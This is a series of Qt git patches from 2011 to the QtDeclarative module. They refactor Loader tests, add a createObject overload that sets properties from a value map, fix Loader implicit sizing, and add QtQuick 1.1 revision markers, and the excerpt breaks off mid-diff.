    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index bfa81ed..358822e 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -69,9 +69,8 @@ public:
         tst_QDeclarativeLoader();
     
     private slots:
    -    void url();
    -    void invalidUrl();
    -    void component();
    +    void sourceOrComponent();
    +    void sourceOrComponent_data();
         void clear();
         void urlToComponent();
         void componentToUrl();
    @@ -100,56 +99,71 @@ tst_QDeclarativeLoader::tst_QDeclarativeLoader()
     {
     }
     
    -void tst_QDeclarativeLoader::url()
    +void tst_QDeclarativeLoader::sourceOrComponent()
     {
    +    QFETCH(QString, sourceDefinition);
    +    QFETCH(QUrl, sourceUrl);
    +    QFETCH(QString, errorString);
    +
    +    bool error = !errorString.isEmpty();
    +    if (error)
    +        QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
    +
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 0; onLoaded: did_load=123; source: \"Rect120x60.qml\" }"), TEST_FILE(""));
    +    component.setData(QByteArray(
    +            "import QtQuick 1.0\n"
    +            "Loader {\n"
    +            "   property int onItemChangedCount: 0\n"
    +            "   property int onSourceChangedCount: 0\n"
    +            "   property int onStatusChangedCount: 0\n"
    +            "   property int onProgressChangedCount: 0\n"
    +            "   property int onLoadedCount: 0\n")
    +            + sourceDefinition.toUtf8()
    +            + QByteArray(
    +            "   onItemChanged: onItemChangedCount += 1\n"
    +            "   onSourceChanged: onSourceChangedCount += 1\n"
    +            "   onStatusChanged: onStatusChangedCount += 1\n"
    +            "   onProgressChanged: onProgressChangedCount += 1\n"
    +            "   onLoaded: onLoadedCount += 1\n"
    +            "}")
    +        , TEST_FILE(""));
    +
         QDeclarativeLoader *loader = qobject_cast(component.create());
         QVERIFY(loader != 0);
    -    QVERIFY(loader->item());
    -    QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml"));
    +    QCOMPARE(loader->item() == 0, error);
    +    QCOMPARE(loader->source(), sourceUrl);
         QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    -    QCOMPARE(loader->property("did_load").toInt(), 123);
    -    QCOMPARE(static_cast(loader)->children().count(), 1);
     
    -    delete loader;
    -}
    +    QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
    +    QCOMPARE(static_cast(loader)->children().count(), error ? 0: 1);
     
    -void tst_QDeclarativeLoader::component()
    -{
    -    QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
    -    QDeclarativeItem *item = qobject_cast(component.create());
    -    QVERIFY(item);
    +    if (!error) {
    +        QDeclarativeComponent *c = qobject_cast(loader->QGraphicsObject::children().at(0));
    +        QVERIFY(c);
    +        QCOMPARE(loader->sourceComponent(), c);
    +    }
     
    -    QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); 
    -    QVERIFY(loader);
    -    QVERIFY(loader->item());
    -    QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    -    QCOMPARE(static_cast(loader)->children().count(), 1);
    +    QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
    +    QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
    +    QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
     
    -    QDeclarativeComponent *c = qobject_cast(item->QGraphicsObject::children().at(0));
    -    QVERIFY(c);
    -    QCOMPARE(loader->sourceComponent(), c);
    +    QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
    +    QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
     
    -    delete item;
    +    delete loader;
     }
     
    -void tst_QDeclarativeLoader::invalidUrl()
    +void tst_QDeclarativeLoader::sourceOrComponent_data()
     {
    -    QTest::ignoreMessage(QtWarningMsg, QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found").toUtf8().constData());
    +    QTest::addColumn("sourceDefinition");
    +    QTest::addColumn("sourceUrl");
    +    QTest::addColumn("errorString");
     
    -    QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { source: \"IDontExist.qml\" }"), TEST_FILE(""));
    -    QDeclarativeLoader *loader = qobject_cast(component.create());
    -    QVERIFY(loader != 0);
    -    QVERIFY(loader->item() == 0);
    -    QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->status(), QDeclarativeLoader::Error);
    -    QCOMPARE(static_cast(loader)->children().count(), 0);
    +    QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
    +    QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
     
    -    delete loader;
    +    QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
    +            << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
     }
     
     void tst_QDeclarativeLoader::clear()
    @@ -446,7 +460,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
         server.serveDirectory(SRCDIR "/data");
     
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: did_load=123 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
    +    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
         if (component.isError())
             qDebug() << component.errors();
         QDeclarativeLoader *loader = qobject_cast(component.create());
    @@ -456,7 +470,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
     
         QVERIFY(loader->item());
         QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->property("did_load").toInt(), 123);
    +    QCOMPARE(loader->property("signalCount").toInt(), 1);
         QCOMPARE(static_cast(loader)->children().count(), 1);
     
         delete loader;
    -- 
    cgit v0.12
    
    
    From aa40f956bab22678b62f630af97f51f9e8fab9f8 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 16:34:07 +1000
    Subject: Fix righ-to-left support in text components.
    
    In text, textEdit and textInput, the layout of the text should
    automatically align to the right if the it is deemed to be
    right-to-left text.
    
    Task-number: QTBUG-15880
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp      | 67 +++++++++++++++++-----
     src/declarative/qml/qdeclarativecomponent.h        |  1 +
     src/declarative/qml/qdeclarativecomponent_p.h      |  2 +
     .../data/createObjectWithScript.qml                | 21 +++++++
     .../tst_qdeclarativecomponent.cpp                  | 28 +++++++++
     5 files changed, 106 insertions(+), 13 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index 8865ddd..bd6e2d8 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -54,11 +54,13 @@
     #include "private/qdeclarativescriptparser_p.h"
     #include "private/qdeclarativedebugtrace_p.h"
     #include "private/qdeclarativeenginedebug_p.h"
    +#include 
     
     #include 
     #include 
     #include 
     #include 
    +#include 
     
     QT_BEGIN_NAMESPACE
     
    @@ -613,7 +615,7 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
     }
     
     /*!
    -    \qmlmethod object Component::createObject(Item parent)
    +    \qmlmethod object Component::createObject(Item parent, Script valuemap = null)
     
         Creates and returns an object instance of this component that will have the given 
         \a parent. Returns null if object creation fails.
    @@ -631,6 +633,12 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
         it is not destroyed by the garbage collector.  This is regardless of Item.parent being set afterwards,
         since setting the Item parent does not change object ownership; only the graphical parent is changed.
     
    +    Since QtQuick 1.1, a map of property values can be optionally passed to the method that applies values to the object's properties
    +    before its creation is finalised. This will avoid binding issues that can occur when the object is
    +    instantiated before property bindings have been set. For example:
    +
    +    \code component.createObject(parent, {"x": 100, "y": 100, "specialProperty": someObject}); \endcode
    +
         Dynamically created instances can be deleted with the \c destroy() method.
         See \l {Dynamic Object Management in QML} for more information.
     */
    @@ -646,25 +654,46 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
     QScriptValue QDeclarativeComponent::createObject(QObject* parent)
     {
         Q_D(QDeclarativeComponent);
    -    QDeclarativeContext* ctxt = creationContext();
    -    if(!ctxt && d->engine)
    -        ctxt = d->engine->rootContext();
    +    return d->createObject(parent, QScriptValue(QScriptValue::NullValue));
    +}
    +
    +/*!
    +    \internal
    +    Overloadable method allows properties to be set during creation
    +*/
    +QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptValue& valuemap)
    +{
    +    Q_D(QDeclarativeComponent);
    +
    +    if (valuemap.isObject() && !valuemap.isArray()) {
    +        qmlInfo(this) << tr("creatObject: value is not an object");
    +        return QScriptValue(QScriptValue::NullValue);
    +    }
    +    return d->createObject(parent, valuemap);
    +}
    +
    +QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, const QScriptValue valuemap)
    +{
    +    Q_Q(QDeclarativeComponent);
    +    QDeclarativeContext* ctxt = q->creationContext();
    +    if(!ctxt && engine)
    +        ctxt = engine->rootContext();
         if (!ctxt)
             return QScriptValue(QScriptValue::NullValue);
    -    QObject* ret = beginCreate(ctxt);
    +    QObject* ret = q->beginCreate(ctxt);
         if (!ret) {
    -        completeCreate();
    +        q->completeCreate();
             return QScriptValue(QScriptValue::NullValue);
         }
     
    -    if (parent) {
    -        ret->setParent(parent);
    +    if (publicParent) {
    +        ret->setParent(publicParent);
             QList functions = QDeclarativeMetaType::parentFunctions();
     
             bool needParent = false;
     
             for (int ii = 0; ii < functions.count(); ++ii) {
    -            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, parent);
    +            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, publicParent);
                 if (res == QDeclarativePrivate::Parented) {
                     needParent = false;
                     break;
    @@ -673,14 +702,26 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent)
                 }
             }
     
    -        if (needParent) 
    +        if (needParent)
                 qWarning("QDeclarativeComponent: Created graphical object was not placed in the graphics scene.");
         }
    -    completeCreate();
     
    -    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine);
    +    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
         QDeclarativeData::get(ret, true)->setImplicitDestructible();
    -    return priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
    +    QScriptValue newObject = priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
    +
    +    if (valuemap.isObject() && !valuemap.isArray()) {
    +        //Iterate through and assign properties
    +        QScriptValueIterator it(valuemap);
    +        while (it.hasNext()) {
    +            it.next();
    +            newObject.setProperty(it.name(), it.value(), QScriptValue::KeepExistingFlags);
    +        }
    +    }
    +
    +    q->completeCreate();
    +
    +    return newObject;
     }
     
     /*!
    diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
    index 6f28f2e..3d318c3 100644
    --- a/src/declarative/qml/qdeclarativecomponent.h
    +++ b/src/declarative/qml/qdeclarativecomponent.h
    @@ -110,6 +110,7 @@ Q_SIGNALS:
     protected:
         QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
         Q_INVOKABLE QScriptValue createObject(QObject* parent);
    +    Q_INVOKABLE QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
     
     private:
         QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
    diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h
    index 02a6ce8..f8bec2b 100644
    --- a/src/declarative/qml/qdeclarativecomponent_p.h
    +++ b/src/declarative/qml/qdeclarativecomponent_p.h
    @@ -116,6 +116,8 @@ public:
                                   ConstructionState *state);
         static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state);
     
    +    QScriptValue createObject(QObject *publicParent, const QScriptValue valuemap);
    +
         QDeclarativeEngine *engine;
         QDeclarativeGuardedContextData creationContext;
     
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    new file mode 100644
    index 0000000..60d4c44
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -0,0 +1,21 @@
    +import QtQuick 1.0
    +
    +Item{
    +    id: root
    +    property QtObject declarativerectangle : null
    +    property QtObject declarativeitem : null
    +    Component{id: a; Rectangle{} }
    +    Component{
    +        id: b
    +        Item{
    +            property bool testBool: false
    +            property int testInt: null
    +            property QtObject testObject: null
    +        }
    +    }
    +
    +    Component.onCompleted: {
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
    +        root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 4db538e..829b762 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -44,6 +44,8 @@
     #include 
     #include 
     #include 
    +#include 
    +#include 
     
     #ifdef Q_OS_SYMBIAN
     // In Symbian OS test data is located in applications private dir
    @@ -60,6 +62,7 @@ private slots:
         void null();
         void loadEmptyUrl();
         void qmlCreateObject();
    +    void qmlCreatObjectWithScript();
     
     private:
         QDeclarativeEngine engine;
    @@ -118,6 +121,31 @@ void tst_qdeclarativecomponent::qmlCreateObject()
         QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
     }
     
    +void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
    +{
    +    QDeclarativeEngine engine;
    +    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
    +    QObject *object = component.create();
    +    QVERIFY(object != 0);
    +
    +    QObject *testObject1 = object->property("declarativerectangle").value();
    +    QVERIFY(testObject1);
    +    QVERIFY(testObject1->parent() == object);
    +    QCOMPARE(testObject1->property("x").value(), 17);
    +    QCOMPARE(testObject1->property("y").value(), 17);
    +    QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +
    +    QObject *testObject2 = object->property("declarativeitem").value();
    +    QVERIFY(testObject2);
    +    QVERIFY(testObject2->parent() == object);
    +    QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
    +    QCOMPARE(testObject2->property("x").value(), 17);
    +    QCOMPARE(testObject2->property("y").value(), 17);
    +    QCOMPARE(testObject2->property("testBool").value(), true);
    +    QCOMPARE(testObject2->property("testInt").value(), 17);
    +    QCOMPARE(testObject2->property("testObject").value(), object);
    +}
    +
     QTEST_MAIN(tst_qdeclarativecomponent)
     
     #include "tst_qdeclarativecomponent.moc"
    -- 
    cgit v0.12
    
    
    From b427b69a8efc0502cb06c388c70c8877a13db2f4 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Thu, 27 Jan 2011 16:43:23 +1000
    Subject: Setting the size of a loader overwrote its implict size.
    
    If the created item does not have a valid width/height then our
    implictWidth/Height should be the same as the items implict size.
    
    Task-number: QTBUG-16928
    Reviewed-by: Bea Lam
    ---
     .../graphicsitems/qdeclarativeloader.cpp           | 22 +++++++++++++++++----
     .../graphicsitems/qdeclarativeloader_p_p.h         |  3 +++
     .../qdeclarativeloader/data/QTBUG_16928.qml        | 23 ++++++++++++++++++++++
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 13 ++++++++++++
     4 files changed, 57 insertions(+), 4 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 86d6404..b5f8b1d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -48,7 +48,8 @@
     QT_BEGIN_NAMESPACE
     
     QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
    -    : item(0), component(0), ownComponent(false), isComponentComplete(false)
    +    : item(0), component(0), ownComponent(false), isComponentComplete(false), updatingSize(false),
    +      itemWidthValid(false), itemHeightValid(false)
     {
     }
     
    @@ -99,6 +100,10 @@ void QDeclarativeLoaderPrivate::initResize()
             QDeclarativeItemPrivate *p =
                     static_cast(QGraphicsItemPrivate::get(qmlItem));
             p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
    +        // We may override the item's size, so we need to remember
    +        // whether the item provided its own valid size.
    +        itemWidthValid = p->widthValid;
    +        itemHeightValid = p->heightValid;
         } else if (item && item->isWidget()) {
             QGraphicsWidget *widget = static_cast(item);
             widget->installEventFilter(q);
    @@ -510,13 +515,21 @@ qreal QDeclarativeLoader::progress() const
     void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
     {
         Q_Q(QDeclarativeLoader);
    -    if (!item)
    +    if (!item || updatingSize)
             return;
    +
    +    updatingSize = true;
         if (QDeclarativeItem *qmlItem = qobject_cast(item)) {
    -        q->setImplicitWidth(qmlItem->width());
    +        if (!itemWidthValid)
    +            q->setImplicitWidth(qmlItem->implicitWidth());
    +        else
    +            q->setImplicitWidth(qmlItem->width());
             if (loaderGeometryChanged && q->widthValid())
                 qmlItem->setWidth(q->width());
    -        q->setImplicitHeight(qmlItem->height());
    +        if (!itemHeightValid)
    +            q->setImplicitHeight(qmlItem->implicitHeight());
    +        else
    +            q->setImplicitHeight(qmlItem->height());
             if (loaderGeometryChanged && q->heightValid())
                 qmlItem->setHeight(q->height());
         } else if (item && item->isWidget()) {
    @@ -531,6 +544,7 @@ void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
             if (widget->size() != widgetSize)
                 widget->resize(widgetSize);
         }
    +    updatingSize = false;
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 7f1a6da..6a40bf3 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -79,6 +79,9 @@ public:
         QDeclarativeComponent *component;
         bool ownComponent : 1;
         bool isComponentComplete : 1;
    +    bool updatingSize: 1;
    +    bool itemWidthValid : 1;
    +    bool itemHeightValid : 1;
     
         void _q_sourceLoaded();
         void _q_updateSize(bool loaderGeometryChanged = true);
    diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    new file mode 100644
    index 0000000..9949e34
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml
    @@ -0,0 +1,23 @@
    +import QtQuick 1.1
    +
    +Rectangle {
    +    color: "green"
    +    width: loader.implicitWidth+50
    +    height: loader.implicitHeight+50
    +
    +    Loader {
    +        id: loader
    +        sourceComponent: Item {
    +            anchors.centerIn: parent
    +
    +            implicitWidth: 200
    +            implicitHeight: 200
    +            Rectangle {
    +                color: "red"
    +                anchors.fill: parent
    +            }
    +        }
    +        anchors.fill: parent
    +        anchors.margins: 15
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index 358822e..ea8ea16 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -89,6 +89,7 @@ private slots:
         void nonItem();
         void vmeErrors();
         void creationContext();
    +    void QTBUG_16928();
     
     private:
         QDeclarativeEngine engine;
    @@ -590,6 +591,18 @@ void tst_QDeclarativeLoader::creationContext()
         delete o;
     }
     
    +void tst_QDeclarativeLoader::QTBUG_16928()
    +{
    +    QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml"));
    +    QDeclarativeItem *item = qobject_cast(component.create());
    +    QVERIFY(item);
    +
    +    QCOMPARE(item->width(), 250.);
    +    QCOMPARE(item->height(), 250.);
    +
    +    delete item;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeLoader)
     
     #include "tst_qdeclarativeloader.moc"
    -- 
    cgit v0.12
    
    
    From ed742d3c46eca7584b6fcb20c2de941852613fb2 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 16:49:21 +1000
    Subject: Apply property bindings during component creation. Add versioning
    
    Versioning for QtQuick 1.1 was added for invokable method in
    component. Full changes are in:
    aa40f956bab22678b62f630af97f51f9e8fab9f8
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.h | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
    index 3d318c3..9a60a8b 100644
    --- a/src/declarative/qml/qdeclarativecomponent.h
    +++ b/src/declarative/qml/qdeclarativecomponent.h
    @@ -110,7 +110,7 @@ Q_SIGNALS:
     protected:
         QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
         Q_INVOKABLE QScriptValue createObject(QObject* parent);
    -    Q_INVOKABLE QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
    +    Q_INVOKABLE Q_REVISION(1) QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
     
     private:
         QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
    -- 
    cgit v0.12
    
    
    From ab71df83ba4eb9d749efc0f3a2d4a0fe5486023f Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Thu, 27 Jan 2011 16:52:54 +1000
    Subject: Add missing revisions for QtQuick 1.1 additions
    
    Task-number: QTBUG-15279
    Reviewed-by: Michael Brasser
    ---
     .../graphicsitems/qdeclarativeimagebase.cpp        |  5 +++
     .../graphicsitems/qdeclarativeimagebase_p.h        |  9 +++--
     .../graphicsitems/qdeclarativeitemsmodule.cpp      |  2 +
     .../graphicsitems/qdeclarativepositioners_p.h      |  6 +--
     src/declarative/graphicsitems/qdeclarativetext_p.h | 12 +++---
     .../graphicsitems/qdeclarativetextedit_p.h         |  2 +-
     .../qdeclarativeimage/tst_qdeclarativeimage.cpp    | 45 +++++++++++++++++++++-
     .../qdeclarativetext/data/lineCount.qml            |  2 +-
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 41 ++++++++++++++++++++
     .../tst_qdeclarativetextedit.cpp                   | 41 ++++++++++++++++++++
     10 files changed, 148 insertions(+), 17 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    index 8448bd6..471c87f 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
    @@ -48,6 +48,11 @@
     
     QT_BEGIN_NAMESPACE
     
    +QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeItem *parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeImageBasePrivate), parent)
    +{
    +}
    +
     QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
       : QDeclarativeImplicitSizeItem(dd, parent)
     {
    diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    index d183bdc..abee25d 100644
    --- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
    @@ -58,11 +58,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeI
         Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
         Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
         Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged)
    -    Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged) // ### VERSIONING: Only in QtQuick 1.1
    +    Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1)
         Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged)
    -    Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged) // ### VERSIONING: Only in QtQuick 1.1
    +    Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1)
     
     public:
    +    QDeclarativeImageBase(QDeclarativeItem *parent=0);
         ~QDeclarativeImageBase();
         enum Status { Null, Ready, Loading, Error };
         Status status() const;
    @@ -89,8 +90,8 @@ Q_SIGNALS:
         void statusChanged(QDeclarativeImageBase::Status);
         void progressChanged(qreal progress);
         void asynchronousChanged();
    -    void cacheChanged();
    -    void mirrorChanged();
    +    Q_REVISION(1) void cacheChanged();
    +    Q_REVISION(1) void mirrorChanged();
     
     protected:
         virtual void load();
    diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    index 3395397..bc4a2d0 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    @@ -187,10 +187,12 @@ void QDeclarativeItemModule::defineModule()
         qmlRegisterType("QtQuick",1,1,"Grid");
         qmlRegisterType("QtQuick",1,1,"Flow");
         qmlRegisterType("QtQuick",1,1,"Repeater");
    +    qmlRegisterType("QtQuick",1,1,"Text");
         qmlRegisterType("QtQuick",1,1,"TextEdit");
     #ifndef QT_NO_LINEEDIT
         qmlRegisterType("QtQuick",1,1,"TextInput");
     #endif
    +    qmlRegisterRevision("QtQuick",1,1);
         qmlRegisterRevision("QtQuick",1,0);
         qmlRegisterRevision("QtQuick",1,1);
         qmlRegisterRevision("QtQuick",1,0);
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    index 6b45e49..55d8fa1 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    @@ -129,7 +129,7 @@ private:
     class Q_AUTOTEST_EXPORT QDeclarativeRow: public QDeclarativeBasePositioner
     {
         Q_OBJECT
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
     public:
         QDeclarativeRow(QDeclarativeItem *parent=0);
     
    @@ -153,7 +153,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeGrid : public QDeclarativeBasePositioner
         Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged)
         Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged)
         Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
     
     public:
         QDeclarativeGrid(QDeclarativeItem *parent=0);
    @@ -194,7 +194,7 @@ class QDeclarativeFlowPrivate;
     class Q_AUTOTEST_EXPORT QDeclarativeFlow: public QDeclarativeBasePositioner
     {
         Q_OBJECT
    -    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1);
    +    Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1)
         Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged)
     public:
         QDeclarativeFlow(QDeclarativeItem *parent=0);
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index ec33b84..58751e7 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
